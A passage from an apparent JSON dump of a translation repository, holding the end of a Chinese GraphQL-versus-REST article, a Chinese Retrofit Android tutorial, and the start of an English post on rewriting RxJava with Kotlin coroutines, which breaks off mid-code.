运行时让我们能够使用与该数据的自然图结构匹配的图 API 来表示我们的数据。\n－GraphQL 具有表达数据需求声明性质。GraphQL 让客户端能够以一种声明性的语言描述其对数据的需求。这种声明性带来了一种围绕着 GraphQL 语言使用的心智模型，该模型与我们用自然语言思考数据需求的方式接近，让我们使用 GraphQL 时比使用其它方式更容易。\n\n最后一个概念是我为什么认为 GraphQL 是游戏规则改变者的原因。\n\n这些全是抽象概念。让我们深入到细节中。\n\n为了解决多次往返请求的问题，GraphQL 让响应服务器变成一个端点。本质上，GraphQL 把自定义端点这一思想发挥到了极致，它让这个端点能够回复所有数据问题。\n\n伴随着单个端点这一概念的另一个重要概念是需要一种强大的客户端请求描述语言与自定义的单个端点进行通信。缺少客户端请求描述语言，单个端点是没有意义的。它需要一种语言解析自定义请求以及根据自定义请求返回数据。\n\n拥有一门客户端请求描述语言意味这客户端能够对请求进行控制。客户端能够精确表达它们需要什么，服务端也能精准回复客户端需要的。这就解决了超额获取的问题。\n\n当涉及到版本时，GraphQL 提供了一种有趣的解决方式。版本能够被完全避免。基本上，我们只需要在保留老的字段的基础上添加新**字段**即可，因为我们用的是图，我们能很灵活的在图上添加更多节点。因此，我们可以在图上留下旧的 API，并引入新的 API，而不会将其标记为新版本。API 只是多了更多节点。\n\n这点对于移动端尤为重用，因为我们无法充值这些移动端使用的版本。一经安装，移动端应用可能数年都使用老版本 API 。对于 Web，我们可以通过发布新代码简单的控制 API　版本，对于移动端应用，这点很难做到。\n\n**还没有完全相信？** 结合实例一对一对比 GraphQL 和 REST 怎么样？\n\n### REST 风格 API vs GraphQL API —— 案例\n\n我们假设我们是开发者，负责构建闪亮全新的用户界面，用来展示星球大战影片和角色。\n\n我们要构建的第一份 UI 很简单：一个显示单个星球大战角色的信息视图。例如，达斯·维德以及电影中出场的其他角色。这个视图需要显示角色的姓名、出生年份、母星名、以及出场的所有影片中出现的头衔。\n\n听起来很简单，我们实际上已经需要处理三种不同的资源：人物、星球和电影。资源之间的关系很简单，任何人都很容易就猜出这里的数据组成。\n\n此 UI 的 JSON 数据可能类似于：\n\n    {\n      \"data\": {\n        \"person\": {\n          \"name\": \"Darth Vader\",\n          \"birthYear\": \"41.9BBY\",\n          \"planet\": {\n            \"name\": \"Tatooine\"\n          },\n          \"films\": [\n            { \"title\": \"A New Hope\" },\n            { \"title\": \"The Empire Strikes Back\" },\n            { \"title\": \"Return of the Jedi\" },\n            { \"title\": \"Revenge of the Sith\" }\n          ]\n        }\n      }\n    }\n\n假设数据服务按照上面的结构返回数据给我们。我们有一种可行的方式即使用 React.js 来展现视图：\n\n    // The Container Component:\n    <PersonProfile person={data.person} ></PersonProfile>\n\n    // The PersonProfile Component:\n    Name: {person.name}\n    Birth Year: {person.birthYear}\n    Planet: {person.planet.name}\n    Films: {person.films.map(film => film.title)}\n\n这是一个简单例子，此外我们关于星球大战的经验也能帮我们一点忙，我们可以很清楚的明白 UI 和数据之间的关系。与我们想象一致，UI 是使用了 JSON 数据对象中的全部的键。\n\n让我们来看看如何通过 REST 风格 API 获取这些数据。\n\n我们需要单个角色的信息，假设我们知道这个角色的 ID，REST 风格的 API 倾向于这样输出这些信息：\n\n    GET - /people/{id}\n\n这个请求将会返回角色的姓名、出生年份以及一些其它信息给我们。一个规范的 REST 风格 API 将会返回给我们角色星球的 ID 以及该角色出现过的所有影片的 ID 组成的数组。\n\n这个请求以 JSON 格式返回的响应类似于：\n\n    {\n      \"name\": \"Darth Vader\",\n      \"birthYear\": \"41.9BBY\",\n      \"planetId\": 1\n      \"filmIds\": [1, 2, 3, 6],\n      *** 其它信息我们不需要 ***\n    }\n\n然后为了获取星球名称，我们发起请求：\n\n    GET - /planets/1\n\n接着为了获取影片中的头衔，我们发起请求：\n\n    GET - /films/1\n    GET - /films/2\n    GET - /films/3\n    GET - /films/6\n\n当从服务器接受到所有的六个数据后，我们才能将其组合并生成满足视图需要的数据。\n\n除了有需要六次往返才能获取到满足一个简单 UI 需求的数据这一事实外，这种方式并无不可。我们阐明了如何获取数据，以及如何处理数据使其满足视图需要。\n\n如果你想确认我说的你可以自己动手尝试。有一个部署在 [http://swapi.co/](http://swapi.co/) 上的 REST API 服务提供了星球大战的数据，点进去，在里面尝试构造角色数据。数据的键名可能不同，但 API 端点是一致的。你同样需要进行六次 API 调用。同样，你不得不超额获取视图不需要的信息。\n\n当然，这只是 REST API 的一个实现方式，可能有更好的实现让生成视图更简单。例如，如果 API 服务支持资源嵌套并能理解角色和影片之间的关系，我们能够通过这种方式获取影片数据：\n\n    GET - /people/{id}/films\n\n然而，一个纯粹的 REST API 服务很难实现这点。我们需要让后端工程师为我们创建自定义端点。这造成 REST API 规模不断增长这一事实 —— 为了满足不断增长的客户端的需要，我们不断添加自定义端点。管理这些自定义端点很难。\n\n让我们来看一看 GraphQL 策略。GraphQL 在服务端拥抱自定义端点思想并把它发展到极致。服务将只是一个端点，通道变得没有意义。如果我们使用 HTTP 实现，HTTP 方法将失去意义。假设我们有一个单一的 GraphQL 端点，它的 HTTP 地址是 `/graphql`\n\n因为我们希望一次往返获取需要的数据，所以我们需要明明白白告诉服务器我们需要哪些数据。我们通过 GraphQL 进行查询：\n\n    GET or POST - /graphql?query={...}\n\nGraphQL 查询只是字符串，但它将包含我们需要的全部数据。这就是声明的强大之处。\n\n英语中，我们这样阐述数据需求：**我们需要角色名、出生年份、星球名和在所有出现过的影片中的头衔**。通过 GraphQL，我们进行如下转换：\n\n    {\n      person(ID: ...) {\n        name,\n        birthYear,\n        planet {\n          name\n        },\n        films {\n          title\n        }\n      }\n    }\n\n再细读一次英语表述的需求并与 GraphQL 查询进行对比。它们不能再更接近了。现在，将 GraphQL 查询与我们最开始用到的原始 JSON 数据进行对比。GraphQL 查询完全与 JSON 数据结构相对应，不过排除所有是值的部分。如果我们仿照问题与答案关系来考虑这中情况，那问题就是没有具体答案的答案原语。\n\n如果答案是：\n\n> **离太阳最近的星球是水星。**\n\n一种好的提问方式是保留原话只去掉提问部分：\n\n> **哪个星球里太阳最近？**\n\n这种关系同样适用于 GraphQL 查询。拿着 JSON 格式的响应数据，移除所有是答案的部分（作为值的对象），最后你得到了一个非常适合代表关于 JSON 响应问题的 GraphQL 查询。\n\n现在，将 GraphQL 查询和与我们展示数据的声明性 React UI 对比。所有出现在 GraphQL 查询中的数据都出现在了 UI 中。所有出现在 UI 中的数据都出现在了 GraphQL 查询中。\n\n这就是 GraphQL 强大的心智模型。UI 知晓它所需要的确切数据，提取需要的数据也很容易。编写 GraphQL 查询变成一个从 UI 中提取作为变量这一简单的工作。\n\n\n将模型进行反转，它仍然很强大。如果我们知道了 GraphQL 查询，我们同样知道如何在 UI 中使用相应数据。我们不需要分析响应数据就能使用它，也不需要的这些 API 的文档。这一切都是内建的。\n\n获取星球大战数据的 GraphQL 托管在 [https://github.com/graphql/swapi-graphql](https://github.com/graphql/swapi-graphql)。点击进去并尝试构造角色数据。只有一点点不同，我们之后会谈论，以下是可以从这个 API 中获取视图所需要数据的正式查询（使用达斯·维德举例）\n\n    {\n      person(personID: 4) {\n        name,\n        birthYear,\n        homeworld {\n          name\n        },\n        filmConnection {\n          films {\n            title\n          }\n        }\n      }\n    }\n\n这个请求返回的我们的响应数据结构十分接近视图用到的，记住，这些数据是我们通过一次往返获得的。\n\n### GraphQL 灵活性带来的开销\n\n完美的解决方案是不存在的。GraphQL 带来了灵活性，也带来了一些明确的问题和考量。\n\nGraphQL更容易的造成一个安全隐患是资源耗尽型攻击（拒绝服务攻击）。GraphQL 服务器可能会受到伴随着极其复杂的查询的攻击，造成服务器资源耗尽。很容易就能构造一个深度嵌套关系链（用户 -> 好友 -> 好友的好友。) 或者多次通过字段别名请求同一字段的查询。资源耗尽型攻击并没有限定 GraphQL，但是在使用 GraphQL 时，我们要特别小心。\n\n这儿有一些缓解措施我们可以用上。我们可以进行一些高级查询的开销分析，对单个用户请求的数据量做某种限制。我们也可以实现一种机制对需要很长时间处理的请求进行超时处理。此外，考虑到 GraphQL 就只是一个处理层，我们能在 GraphQL 之下的更底层进行速率限制。\n\n如果我们尝试保护的 GraphQL API 端点并不是公开的，仅供我们私有的客户端（web、移动）内部访问，我们能够使用白名单策略并预先审核服务器能够处理的查询。客户端仅能通过唯一查询标识码向服务器发起审核过的查询。Facebook 似乎就采用了这种策略。\n\n当使用 GraphQL 时，我们还需要考虑到认证和授权。我们是在 GraphQL 解析请求之前，之后还是之间处理它们呢？\n\n为了回答这个问题，需要将 GraphQL 想象成你一种位于你的后端数据请求逻辑顶层的 DSL（领域限定语言）。它只是一个能够被我们放在客户端与实际数据服务（多个）之间的处理层。\n\n将认证和授权当成另一个处理层。GraphQL 与认证和授权逻辑的具体实现关系不大。它的意义不在这儿。但是如果我们把这些层放在 GraphQL 之后，我们就可以在 GraphQL 层使用访问令牌连通客户端与执行逻辑。这和我们在 REST 风格 API 处理认证和授权类似。\n\n另一件因为 GraphQL 而变得更具挑战性的任务是客户端数据缓存。REST 风格的 API 因其类似目录更容易进行缓存处理。REST API 通过访问路径获取数据，我们能够使用访问路径作缓存键。\n\n对于 GraphQL，我们能够采用类似的策略使用查询字段作为响应数据的缓存键。但是这种方式有限制，效率低下，还容易造成数据一致性方面的问题。原因是多个 GraphQL 查询的结果很容易重叠，而这种缓存策略并没有考虑到这种重叠。\n\n这个问题有一个很好的解决方案。一个图的查询意味这一个**图的缓存**。如果我们将一个 GraphQL 查询的响应数据正则化为一个平铺的记录集合，为每个记录设置一个全局唯一 ID，我们就能够只缓存这些记录而不用缓存整个响应了。\n\n这种处理并不容易。这样导致一些记录指向另一些记录，导致我们可能得管理一个环形图，导致在写入和读取缓存时我们需要进行遍历，导致我们需要编写一个层来处理缓存逻辑。但是，这种方法总体上比基于响应的缓存更高效。[Relay.js](https://facebook.github.io/relay/) 就是一个采用这种缓存策略并在内部进行自动管理的框架。\n\n对于 GraphQL 我们最需要关心的问题可能是被普遍称作 N+1 SQL 查询的问题了。GraphQL 的字段查询被设计成独立的函数，从数据库获取这些字段可能造成每个字段都需要一个数据库查询。\n\n简单 REST 风格 API 端点的逻辑，易分析，易检测，可以优化 SQL 查询语句来解决 N+1 问题。而 GraphQL 需要动态处理字段，这点不容易做到。幸运的是 Facebook 正在研发一个处理类似问题的可能的解决方案：DataLoader。\n\n如名字暗示，DataLoader 是一款能让我们从数据库读取数据并让数据能被 GraphQL 处理函数使用的工具。我们使用 DataLoader，而不是直接通过 SQL 查询从数据库获取数据，将 DataLoader 作为代理以减少我们实际需要发送给数据库的 SQL 查询。\n\nDataLoader 使用批处理和缓存的组合来实现。如果同一个客户端请求会造成多次请求数据库，DataLoader 会整合这些问题并从数据库批量拉取请求数据。DataLoader 会同时缓存这些数据，当有后续请求需要同样资源时可以直接从缓存获取到。\n\n---\n\n谢谢你阅读本文。如果你觉得本文有用，点击下面的连接。关注我以获取更多的关于 Node.js 和 JavaScript 的文章。\n\n我在 [Pluralsight](https://app.pluralsight.com/profile/author/samer-buna) and [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 上创建了**在线课程**。我最近的课程包含 Advanced React.js](https://www.pluralsight.com/courses/reactjs-advanced), [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced), and [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)。\n\n我还在做让 JavaScript、Node.js、React.js 和 GraphQL 初学者进阶到更高级别的线上线下培训。如果您正在寻找教练，[请与我联系](mailto:samer@jscomplete.com)。如果你您对本文以及我写的其它文章有疑问，可以在 『这个**slack**账户』() 找到我并在 #questions 频道提问。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/retrofit-getting-started.md",
    "content": "> * 原文链接 : [Retrofit — Getting Started and Create an Android Client](https://futurestud.io/blog/retrofit-getting-started-and-android-client)\n* 原文作者 : [Marcus Pöhls](https://futurestud.io/blog/author/marcus)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Kevin Xiu](https://github.com/xiuweikang)\n* 校对者: [kassadin](https://github.com/kassadin)、[foolishgao](https://github.com/foolishgao)\n* 状态 :  完成\n\n这是Retrofit系列文章中的第一篇，这个系列前前后后有几个用例，并且还分析了Retrofit的功能性和可扩展性。\n\n**— 2015.10.21日更新**\n\n除了之前已经有的关于Retrofit 1.9的代码样例，我们也已经添加了新的关于Retrofit 2（基于 2.0.0-beta2）的代码样例。 并且也已经发布了一个扩展的Retrofit更新指南：在下述内容的 #15。\n\n\n## 文章概述\n\n通过这篇博客，我们会学到Retrofit的基本用法和实现一个针对API或者HTTP请求的Android客户端。\n\n**然而，这篇博客不会讲太多入门的知识，也不会讲Retrofit是关于什么的，如果你想要了解这些，可以看[Retrofit项目主页](http://square.github.io/retrofit/)**.\n\n## Retrofit是什么\n\n官方的Retrofit主页是这样描述它的\n\n> 用于Android和Java的一个类型安全(type-safe)的REST客户端\n\n你将会用注解去描述HTTP请求，同时Retrofit默认集成URL参数替换和查询参数.除此之外它还支持 Multipart请求和文件上传。\n\n\n## 如何去声明请求（API）\n\n请去[Retrofit 主页](http://square.github.io/retrofit/#api-declaration) 浏览并阅读相应的API声明章节来理解如何发送一个请求。你可以在上面找到所有重要的信息，和非常清楚的代码样例。\n\n## 准备你的Android项目\n现在，让我们把手放回到键盘上来。如果你已经建了一个Android项目的话，你可以直接看下一条，否则，在你最熟悉的IDE上建立一个Android项目。我们更倾向于用Gradle构建项目，但是如果你用Maven也是可以的。\n\n### 定义依赖关系：Gradle 或者 Maven\n\n现在，在你的项目中设置 Retrofit依赖。 根据你自己的构建工具，在`pom.xml`或者`build.gradle`中定义Retrofit和它的依赖关系。当运行命令去构建你的项目时，构建系统会在你的项目里下载相应的库。 我们建议用OkHttpP搭配Retrofit，OKHttp同样需要定义[Okio](https://github.com/square/okio#download)依赖。\n\n#### **Retrofit 1.9**\n\n**pom.xml**\n\n        com.squareup.retrofit\n        retrofit\n        1.9.0\n\n        com.squareup.okhttp\n        okhttp\n        2.2.0\n\n**build.gradle**\n\n    dependencies {  \n        // Retrofit & OkHttp\n        compile 'com.squareup.retrofit:retrofit:1.9.0'\n        compile 'com.squareup.okhttp:okhttp:2.2.0'\n    }\n\n#### Retrofit 2\n\n如果你正在用Retrofit2.0版，请用下面的依赖\n\n**pom.xml**\n\n        com.squareup.retrofit\n        retrofit\n        2.2.0-beta2\n\n**build.gradle**\n\n    dependencies {  \n        // Retrofit & OkHttp\n        compile 'com.squareup.retrofit:retrofit:2.0.0-beta2'\n    }\n\n\nRetrofit 2默认使用OKHttp作为网络层,并且在它上面进行构建。 你不需要在你的项目中显式的定义OkHttp依赖，除非你有一个特殊的版本需求。\n\n现在你的项目已经集成了Retrofit,让我们一起创建一个具有持久性的 Android API/HTTP客户端吧。\n\n\n##可持续的Android客户端\n在对已经有的Retrofit的客户端的研究期间，我们发现了[example repository of Bart Kiers](https://github.com/bkiers/retrofit-oauth/tree/master/src/main/java/nl/bigo/retrofitoauth)。实际上，它是一个用Retrofit进行OAuth认证的例子。然而，它提供了做一个可持续的Android客户端需要的全部基本原理。这就是我们在未来的博客文章中要把它作为一个基础进行扩展，将认证功能更进一步的原因。\n\n\n接下来的这个类是我们的Android客户端的主要成分：**ServiceGenerator**。\n### Service Generator\n\n\n**ServiceGenerator** 是我们 API/HTTP客户端的核心， 在目前的阶段，它只定义了一个对给定的类或者接口创建一个基本的REST适配器(adapter)的方法。\n\n**Retrofit 1.9**\n\n    public class ServiceGenerator {\n\n        public static final String API_BASE_URL = \"http://your.api-base.url\";\n\n        private static RestAdapter.Builder builder = new RestAdapter.Builder()\n                    .setEndpoint(API_BASE_URL)\n                    .setClient(new OkClient(new OkHttpClient()));\n\n        public static  S createService(Class serviceClass) {\n            RestAdapter adapter = builder.build();\n            return adapter.create(serviceClass);\n        }\n    }\n\n**Retrofit 2**\n\n    public class ServiceGenerator {\n\n        public static final String API_BASE_URL = \"http://your.api-base.url\";\n\n        private static OkHttpClient httpClient = new OkHttpClient();\n        private static Retrofit.Builder builder =\n                new Retrofit.Builder()\n                        .baseUrl(API_BASE_URL)\n                        .addConverterFactory(GsonConverterFactory.create());\n\n        public static  S createService(Class serviceClass) {\n            Retrofit retrofit = builder.client(httpClient).build();\n            return retrofit.create(serviceClass);\n        }\n    }\n\n\n`ServiceGenerator`类 用Retrofit的 `RestAdapter`-Builder与给定的API基础url来创建一个新的REST客户端。例如，Github的API基础url是`https://developer.github.com/v3/`。\n\n`serviceClass`类定义了用于API请求的注解了的类或接口。接下来的章节会向我们展示Retrofit的实用的用法，还有如何写出一个值得仿效的客户端。\n## JSON 映射\n\nRetrofit 1.9 默认提供Google的GSON。你需要做的只是定义好你的response对象，之后这个response将会被自动地映射。\n\n当用Retrofit 2时，你需要对`Retrofit`对象显式地添加一个转换器(converter).这就是我们要在Retrofit的 builder上调用`.addConverterFactory(GsonConverterFactory.create())`去集成GSON作为默认的JSON转换器的原因。\n\n## Retrofit实战\n\n\n好的，让我们写一个 REST的 客户端向Github请求数据。\n\n首先，我们必须创建一个接口和定义需要的方法。\n### GitHub 客户端\n\n\n接下来的代码定义了一个`GithubClient`和一个请求仓库的贡献者列表的方法。它也说明了Retrofit的参数替换功能（当调用对象的方法时，在定义的路径中的{owner} 和 {repo}将会被所给的变量所替换）。\n\n**Retrofit 1.9**\n\n    public interface GitHubClient {  \n        @GET(\"/repos/{owner}/{repo}/contributors\")\n        List contributors(\n            @Path(\"owner\") String owner,\n            @Path(\"repo\") String repo\n        );\n    }\n\n**Retrofit 2**\n\n    public interface GitHubClient {  \n        @GET(\"/repos/{owner}/{repo}/contributors\")\n        Call> contributors(\n            @Path(\"owner\") String owner,\n            @Path(\"repo\") String repo\n        );\n    }\n\n这里定义了一个`Contributor`类，这个类包含了要映射到response数据的所有需要的属性。\n\n    static class Contributor {  \n        String login;\n        int contributions;\n    }\n\n\n关于之前提到的JSON映射：`GithubClient` 定义了一个返回类型是`List`的命名为`contributors`的方法。Retrofit确保服务端返回的response 能够得到正确的映射(在这里 服务端返回的response 匹配所给的Contributor类)。\n### API 请求样例\n\n下面的片段说明了如何用`ServiceGenerator`去实例化你的客户端，具体点，这个Github客户端就是得到contributors的方法 用到的客户端。[Retrofit github-client example](https://github.com/square/retrofit/tree/master/sa\nmples/src/main/java/com/example/retrofit)是一个修改后的版本。\n\n\n当执行Github的这个例子的时候，你需要手动地在`ServiceGenerator`中用`\"https://developer.github.com/v3/\"`作为基础的url。另一个选择是用额外的`createService()`方法接受两个参数: 客户端类名，和基础的url。\n\n**Retrofit 1.9**\n\n    public static void main(String... args) {  \n    \n        // 创建一个非常简单的 指向Github API端点的 RSET 适配器\n        GitHubClient client = ServiceGenerator.createService(GitHubClient.class);\n\n        // 得到并打印这个仓库的贡献者列表\n        List contributors =\n            client.contributors(\"fs_opensource\", \"android-boilerplate\");\n\n        for (Contributor contributor : contributors) {\n            System.out.println(\n                    contributor.login + \" (\" + contributor.contributions + \")\");\n        }\n    }\n\n**Retrofit 2**\n\n    public static void main(String... args) {  \n        // 创建一个非常简单的 指向Github API端点的 RSET 适配器 \n        GitHubClient client = ServiceGenerator.createService(GitHubClient.class);\n\n        // 得到并打印这个仓库的贡献者列表\n        Call> call =\n            client.contributors(\"fs_opensource\", \"android-boilerplate\");\n\n        List contributors = call.execute().body();\n\n        for (Contributor contributor : contributors) {\n            System.out.println(\n                    contributor.login + \" (\" + contributor.contributions + \")\");\n        }\n    }\n\n\n\n## 下面会讲什么\n\n下一篇文章主要解释了如何用Retrofit去实现基本的认证。我们将会展示一些用 用户名/邮箱 和密码验证webservices或者APIs的代码样例。进一步讲，之后的文章主要会涉及到用tokens（包括OAuth）的API认证\n\n我们希望你能对这个概览感到满意，也希望你能用Retrofit来发出你的第一个请求。\n\n## 对Retrofit的讲解还不够？ 买我们的书吧！\n\n[![](https://futurestud.io/blog/content/images/2015/07/futurestudio-retrofitbook.png)](https://leanpub.com/retrofit-love-working-with-apis-on-android \"Retrofit: Love working with APIs on Android\")\n\n学会如何在Android上用Retrofit创建一个高效率的RSET客户端，通过复杂的APIs提升你的效率，享受工作的乐趣。\n\n\n**Retrofit：Love working with APIs on Android**  在[Leanpub.com](https://leanpub.com/retrofit-love-working-with-apis-on-android \"Retrofit: Love working with APIs on Android\")上可购\n\n\n\n\n## 直接在你的收信箱里浏览文章\n\n**订阅就可以收到我们每周总结的最新的关于Android、Node.js、开源代码和其他方面的文章。**\n\n\n\n"
  },
  {
    "path": "TODO/rewriting-rxjava-with-kotlin-coroutines.md",
    "content": "\n> * 原文地址：[Rewriting RxJava with Kotlin Coroutines?](https://akarnokd.blogspot.jp/2017/09/rewriting-rxjava-with-kotlin-coroutines.html?utm_source=Android+Weekly&utm_campaign=9eae73d7b8-androidweekly-274&utm_medium=email&utm_term=0_4eb677ad19-9eae73d7b8-338020353)\n> * 原文作者：[Dávid Karnok](https://plus.google.com/113316559156085910174)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/rewriting-rxjava-with-kotlin-coroutines.md](https://github.com/xitu/gold-miner/blob/master/TODO/rewriting-rxjava-with-kotlin-coroutines.md)\n> * 译者：\n> * 校对者：\n\n# Rewriting RxJava with Kotlin Coroutines?\n\n## Introduction\n\nSomeone influential stated that RxJava should be rewritten with **Kotlin Coroutines**. I haven't seen any attempt of it as of now and declaring such a thing to be (not) worth without actually trying is irresponsive.\n\nAs we saw in the [earlier post](http://akarnokd.blogspot.hu/2017/09/rxjava-vs-kotlin-coroutines-quick-look.html) and the response in the [comment section](http://akarnokd.blogspot.com/2017/09/rxjava-vs-kotlin-coroutines-quick-look.html?showComment=1504737404801#c5325085443630420451), following up on the **imperative-reactive** promise leads to some boilerplate and questionable cancellation management, and the idiomatic Kotlin/Coroutine enhancement suggested is to ... factor out the imperative control structures into common routines and have the user specify lambda callback(s); thus it can become **declarative-reactive**, just like RxJava interpreted from a higher level viewpoint. Kind of defeats one of the premises in my understanding.\n\nThis doesn't diminish the power of coroutine-based abstraction but certainly implies a relevant question: who is supposed to write these abstract operators?\n\nOne possible answer is, of course, **library writers** who not only have experience with abstracting away control structures but perhaps wield deeper knowledge about how the coroutine infrastructure can be utilized in certain complicated situations.\n\nIf this assumption of mine is true, that somewhat defeats another premise of coroutines: the end user will likely have to stick to writing suspendable functionals and discover operators provided by a library most of the time.\n\nSo what's mainly left is to see if implementing a **declarative-reactive library on top of coroutines** gives **benefits** to the library developer (i.e., ease of writing) over hand crafted state-machines and (reasonable) performance to the user of the library itself.\n\n## The library implementation\n\nPerhaps one of the more attractive properties of RxJava is the deferred lazy execution of a reactive flow (cold). One sets up a template of transformations and issues a **subscribe()** call to begin execution. In contrast, **CompletableFuture** and imperative _Coroutines_ can be thought as eager executions - in order to retry them one has to recreate the whole chain, plus their execution may be ongoing while one still is busy applying operators on top of them.\n\n### Base interfaces\n\nSince the former structure is more enabling at little to no overhead, we'll define our base types as follows:\n\n```\ninterface CoFlow<out T> {\n    suspend fun subscribe(consumer: CoConsumer<T>)\n}\n\n\nThe main interface, CoFlow, matches the usual pattern of the Reactive-Streams Publisher. \n\ninterface CoConsumer<in T> {\n\n    suspend fun onSubscribe(connection: CoConnection)\n\n    suspend fun onNext(t: T)\n\n    suspend fun onError(t: Throwable)\n\n    suspend fun onComplete()\n}\n```\n\nThe consumer type, , is also matching the Reactive-Streams **Subscriber** pattern.\n\n```\ninterface CoConnection {\n    suspend fun close()\n}\n```\n\n\nThe final type, **CoConnection**, is responsible for cancelling a flow. Unlike the Reactive-Streams **Subscription**, there is no **request()** method because we will follow up on the non-blocking suspension promise of the coroutines: the sender will be suspended if the receiver is not in the position to receive, thus there should be no need for request accounting as the state machine generated by the compiler will implicitly do it for us.\n\nThose with deeper understanding of how cancellation works with coroutines may object to this connection object. Indeed, there are probably better ways of including cancellation support, however, my limited understanding of the coroutine infrastructure didn't yield any apparent concept-match between the two. Suggestions welcome.\n\n### Entering the CoFlow world\n\nPerhaps the most basic way of creating a flow of values is the **Just(T)** operator that when subscribed to, emits its single item followed by a completion signal. Since we don't have to deal with a backpressure state machine, this should be relatively short to write:\n\n```\nclass Just<out T>(private val value: T) {\n    override suspend fun subscribe(consumer: CoConsumer<T>) {\n        consumer.onSubscribe(???)\n        consumer.onNext(value)\n        consumer.onComplete()\n    }\n}\n```\n\nIn order to allow the downstream to indicate cancellation, we have to send something along **onSubscribe**. Since coroutines appear as synchronous execution, we would have the same synchronous cancellation problem that the Reactive-Streams **Subscription** (and RxJava before it) solves: inversion of control by sending down something cancellable first, then checking if the consumer had enough.\n\n```\nclass BooleanConnection : CoConnection {\n\n   @Volatile var cancelled : Boolean = false\n\n   override suspend fun close() {\n       cancelled = true\n   }\n}\n```\n\nWhich we now can use with **Just(T)**:\n\n```\nclass Just<out T>(private val value: T) {\n    override suspend fun subscribe(consumer: CoConsumer<T>) {\n        val conn = BooleanConnection()\n        consumer.onSubscribe(conn)\n\n        if (conn.cancelled) {\n            return\n        }\n        consumer.onNext(value)\n\n        if (conn.cancelled) {\n            return\n        }\n        consumer.onComplete()\n    }\n}\n```\n\nSince everything is declared suspend, we should have no problem interacting with an operator downstream that suspends execution in case of an immediate backpressure.\n\nLet's see a source that emits multiple items, but for an (expectable) twist, we implement an uncommon source: **Chars(String)** which emits the characters of a string as **Int**s:\n\n```\nclass Chars(private val string: String) : CoFlow<Int> {\n    override suspend fun subscribe(consumer: CoConsumer<Int>) {\n        val conn = BooleanConnection()\n        consumer.onSubscribe(conn)\n  \n        for (v in 0 until string.length) {\n            if (conn.cancelled) {\n                return\n            }\n            consumer.onNext(v.asInt())\n        }\n        if (conn.cancelled) {\n            return\n        }\n        consumer.onComplete()\n    }\n}\n```\n\nAnd lastly for this subsection, we will implement **FromIterable(T)**:\n\n```\nclass FromIterable<T>(private val source: Iterable<T>) : CoFlow<T> {\n    override suspend fun subscribe(consumer: CoConsumer<T>) {\n        val conn = BooleanConnection()\n        consumer.onSubscribe(conn)\n  \n        for (v in source) {\n            if (conn.cancelled) {\n                return\n            }\n            consumer.onNext(v)\n        }\n        if (conn.cancelled) {\n            return\n        }\n        consumer.onComplete()\n    }\n}\n```\n\nSo far, these sources look pretty much like how the non-backpressured RxJava 2 **Observable** is implemented. I'm sure there are more concise way of expressing them; I have, unfortunately, only limited knowledge about Kotlin's syntax improvements over Java, however, since the blog's audience I think is mainly Java programmers, something familiar looking should be \"less alien\" at this point.\n\n### Transformations\n\nWhat is the most common transformation in the reactive world? Mapping of course! Therefore, let's see how the instance extension method **Map(T -> R)** looks like.\n\n```\nsuspend fun <T, R> CoFlow<T>.map(mapper: suspend (T) -> R): CoFlow<R> {\n    val source = this\n    \n    return object: CoFlow<R> {\n        override suspend fun subscribe(consumer: CoConsumer<R>) {\n\n            source.subscribe(object: CoConsumer<T> {\n\n                var upstream: CoConnection? = null\n                var done: Boolean = false\n\n                override suspend fun onSubscribe(conn: CoConnection) {\n                    upstream = conn\n                    consumer.onSubscribe(conn)\n                }\n\n                override suspend fun onNext(t: T) {\n                    val v: R;\n                    try {\n                        v = mapper(t)\n                    } catch (ex: Throwable) {\n                        done = true\n                        upstream!!.close()\n                        consumer.onError(ex)\n                        return\n                    }\n                    consumer.onNext(v)\n                }\n\n                override suspend fun onError(t: Throwable) {\n                    if (!done) {\n                        consumer.onError(t)\n                    }\n                }\n\n                override suspend fun onComplete() {\n                    if (!done) {\n                        consumer.onComplete()\n                    }\n                }\n            })\n        }\n    }\n}\n```\n\nPerhaps what I most envy of Kotlin is the extension method support. I can only hope for it in Java now that [Oracle switches to a 6 months feature enhancement cycle](https://www.infoq.com/news/2017/09/Java6Month). The **val source = this** may seem odd to a Kotlin developer; maybe there is a syntax for it so that the outer this may be accessible from the anonymous inner class (**object: CoFlow<R>**) in some other way. Note also the **suspend (T) -> R** signature: we will, of course, mainly support suspendable functions.\n\nThe logic, again, resembles of RxJava's own **map()** implementation. We save and forward the upstream connection instance to the consumer as there is no real need to intercept the **close** call. We apply the upstreams value to the **mapper** function and forward the result to the consumer. If the mapper function crashes, we stop the upstream and emit the error. This may happen for the very last item and the upstream may still emit a regular **onComplete()**, which should be avoided just like with Reactive-Streams.\n\nThe next common operator is **Filter(T)**:\n\n```\nsuspend fun <T> CoFlow<T>.filter(predicate: suspend (T) -> Boolean): CoFlow<T> {\n    val source = this\n    \n    return object: CoFlow<T> {\n        override suspend fun subscribe(consumer: CoConsumer<R>) {\n            source.subscribe(object: CoConsumer<T> {\n\n                var upstream: CoConnection? = null\n                var done: Boolean = false\n\n                override suspend fun onSubscribe(conn: CoConnection) {\n                    upstream = conn\n                    consumer.onSubscribe(conn)\n                }\n\n                override suspend fun onNext(t: T) {\n                    val v: Boolean;\n                    try {\n                        v = predicate(t)\n                    } catch (ex: Throwable) {\n                        done = true\n                        upstream!!.close()\n                        consumer.onError(ex)\n                        return\n                    }\n                    if (v) {\n                        